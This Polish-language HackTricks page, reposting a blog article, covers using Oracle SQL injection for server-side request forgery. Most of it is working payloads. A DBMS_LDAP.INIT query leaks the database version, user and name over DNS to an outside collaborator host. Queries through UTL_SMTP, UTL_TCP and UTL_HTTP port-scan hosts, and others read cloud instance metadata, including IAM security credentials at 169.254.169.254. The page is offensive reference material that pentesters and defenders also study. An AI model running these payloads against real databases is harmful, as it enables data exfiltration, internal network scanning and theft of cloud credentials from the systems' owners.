10 KiB
Wstrzykiwanie Oracle
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podaj ten post jako kopię usuniętego postu z https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Używanie Oracle do wykonywania żądań HTTP i DNS poza pasmem jest dobrze udokumentowane, ale jako sposób na wyciek danych SQL w wstrzykiwaniu. Zawsze możemy zmodyfikować te techniki/funkcje, aby wykonywać inne ataki SSRF/XSPA.
Instalacja Oracle może być bardzo bolesna, zwłaszcza jeśli chcesz szybko skonfigurować instancję do wypróbowania poleceń. Mój przyjaciel i kolega z Appsecco, Abhisek Datta, polecił mi https://github.com/MaksymBilenko/docker-oracle-12c, co pozwoliło mi skonfigurować instancję na maszynie Ubuntu AWS t2.large za pomocą Dockera.
Uruchomiłem polecenie docker z flagą --network="host"
, aby móc udawać Oracle jako natywną instalację z pełnym dostępem do sieci, na potrzeby tego wpisu na blogu.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Pakiety Oracle obsługujące specyfikację URL lub nazwę hosta/numer portu
Aby znaleźć jakiekolwiek pakiety i funkcje obsługujące specyfikację hosta i numeru portu, przeprowadziłem wyszukiwanie w Dokumentacji online bazy danych Oracle. Konkretnie,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Wyniki wyszukiwania zwróciły następujące rezultaty (nie wszystkie można wykorzystać do wykonywania sieciowych żądań wychodzących):
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Ta prymitywna metoda wyszukiwania oczywiście pomija pakiety takie jak DBMS_LDAP
(które umożliwiają przekazywanie nazwy hosta i numeru portu), ponieważ strona dokumentacji po prostu przekierowuje do innego miejsca. Dlatego istnieją inne pakiety Oracle, które mogą być wykorzystane do wykonywania żądań wychodzących, które mogłem przeoczyć.
W każdym przypadku, przyjrzyjmy się niektórym z pakietów, które odkryliśmy i wymieniliśmy powyżej.
DBMS_LDAP.INIT
Pakiet DBMS_LDAP
umożliwia dostęp do danych z serwerów LDAP. Funkcja init()
inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta i numer portu jako argument.
Ta funkcja została już udokumentowana w celu pokazania wycieku danych za pomocą DNS, jak poniżej
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Jednakże, biorąc pod uwagę, że funkcja akceptuje argumenty w postaci nazwy hosta i numeru portu, można jej również użyć jako skanera portów.
Oto kilka przykładów:
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
Błąd ORA-31203: DBMS_LDAP: PL/SQL - Inicjalizacja nie powiodła się.
oznacza, że port jest zamknięty, podczas gdy wartość sesji wskazuje na otwarty port.
UTL_SMTP
Pakiet UTL_SMTP
jest przeznaczony do wysyłania wiadomości e-mail za pomocą protokołu SMTP. Przykład dostarczony na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do wysyłania wiadomości e-mail. Dla nas jednak interesujące jest możliwość podania hosta i portu.
Poniżej przedstawiono przykład z użyciem funkcji UTL_SMTP.OPEN_CONNECTION
z timeoutem 2 sekundy.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
ORA-29276: transfer timeout
oznacza, że port jest otwarty, ale nie ustanowiono połączenia SMTP, podczas gdy ORA-29278: SMTP transient error: 421 Service not available
oznacza, że port jest zamknięty.
UTL_TCP
Pakiet UTL_TCP
oraz jego procedury i funkcje umożliwiają komunikację opartą na protokole TCP/IP z usługami. Jeśli zostanie zaprogramowany dla konkretnej usługi, ten pakiet może stać się łatwym sposobem na dostanie się do sieci lub wykonywanie pełnych żądań po stronie serwera, ponieważ można kontrolować wszystkie aspekty połączenia TCP/IP.
Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to jeszcze bardziej uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może również być używany do zapytania usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.
UTL_HTTP i żądania sieciowe
Najbardziej powszechną i szeroko udokumentowaną techniką w każdym samouczku dotyczącym Oracle SQL Injection jest pakiet UTL_HTTP
. Ten pakiet jest zdefiniowany w dokumentacji jako - Pakiet UTL_HTTP umożliwia wywoływanie protokołu HTTP (Hypertext Transfer Protocol) z poziomu SQL i PL/SQL. Można go używać do dostępu do danych w Internecie za pośrednictwem protokołu HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Możesz dodatkowo użyć tego do wykonania podstawowego skanowania portów za pomocą zapytań takich jak:
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
Błąd ORA-12541: TNS:no listener
lub TNS:operation timed out
oznacza, że port TCP jest zamknięty, podczas gdy błąd ORA-29263: HTTP protocol error
lub dane są oznaką otwartego portu.
Innym pakietem, który używałem w przeszłości z różnymi sukcesami, jest GETCLOB()
metoda abstrakcyjnego typu Oracle HTTPURITYPE
, która umożliwia interakcję z adresem URL i obsługuje protokół HTTP. Metoda GETCLOB()
służy do pobierania odpowiedzi GET z adresu URL jako typ danych CLOB[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.